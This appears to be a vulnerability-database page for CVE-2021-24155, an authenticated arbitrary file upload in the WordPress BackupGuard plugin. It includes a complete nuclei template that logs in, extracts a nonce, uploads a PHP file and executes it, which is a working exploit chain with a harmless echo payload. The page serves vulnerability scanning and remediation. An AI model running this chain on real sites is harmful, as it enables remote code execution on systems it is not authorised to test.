HexBrain

Browse / CVEs / CVE-2021-24155

CVE-2021-24155· backup-guard / backup guard· CWE-434

WordPress BackupGuard <1.6.0 - Authenticated Arbitrary File Upload

highseverity
7.2CVSS score
83.7%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

WordPress Backup Guard plugin before 1.6.0 is susceptible to authenticated arbitrary file upload. The plugin does not ensure that imported files are in SGBP format and extension, allowing high-privilege users to upload arbitrary files, including PHP, possibly leading to remote code execution.

Impact

Remote code execution

Fix

Fixed in version 1.6.0.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=backup_guard_backups ; POST /wp-admin/admin-ajax.php?action=backup_guard_importBackup&token={{nonce}} ; GET /wp-content/uploads/backup-guard/{{randstr}}.php
Positive when: contains(header_4, "text/html") and status_code_4 == 200 and contains(body_3, '{\"success\":1}') and contains(body_4, 'CVE-2021-24155')

Run it with nuclei: nuclei -id CVE-2021-24155 -u <target>

The full check
id: CVE-2021-24155

info:
  name: WordPress BackupGuard <1.6.0 - Authenticated Arbitrary File Upload
  author: theamanrawat
  severity: high
  description: |
    WordPress Backup Guard plugin before 1.6.0 is susceptible to authenticated arbitrary file upload. The plugin does not ensure that imported files are in SGBP format and extension, allowing high-privilege users to upload arbitrary files, including PHP, possibly leading to remote code execution.
  impact: |
    Remote code execution
  remediation: Fixed in version 1.6.0.
  reference:
    - https://wpscan.com/vulnerability/d442acac-4394-45e4-b6bb-adf4a40960fb
    - https://wordpress.org/plugins/backup/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24155
    - http://packetstormsecurity.com/files/163382/WordPress-Backup-Guard-1.5.8-Shell-Upload.html
    - https://github.com/0dayNinja/CVE-2021-24155.rb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-24155
    cwe-id: CWE-434
    epss-score: 0.83693
    epss-percentile: 0.9969
    cpe: cpe:2.3:a:backup-guard:backup_guard:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: backup-guard
    product: backup_guard
    framework: wordpress
  tags: cve,cve2021,authenticated,wp,packetstorm,wp-plugin,rce,wordpress,backup,wpscan,intrusive,backup-guard,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=backup_guard_backups HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-ajax.php?action=backup_guard_importBackup&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        Content-Type: multipart/form-data; boundary=---------------------------204200867127808062083805313921

        -----------------------------204200867127808062083805313921
        Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.php"
        Content-Type: application/x-php

        <?php

        echo "CVE-2021-24155";

        ?>

        -----------------------------204200867127808062083805313921--
      - |
        GET /wp-content/uploads/backup-guard/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains(header_4, "text/html")
          - status_code_4 == 200
          - contains(body_3, '{\"success\":1}')
          - contains(body_4, 'CVE-2021-24155')
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - BG_BACKUP_STRINGS = {"nonce":"([0-9a-zA-Z]+)"};
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from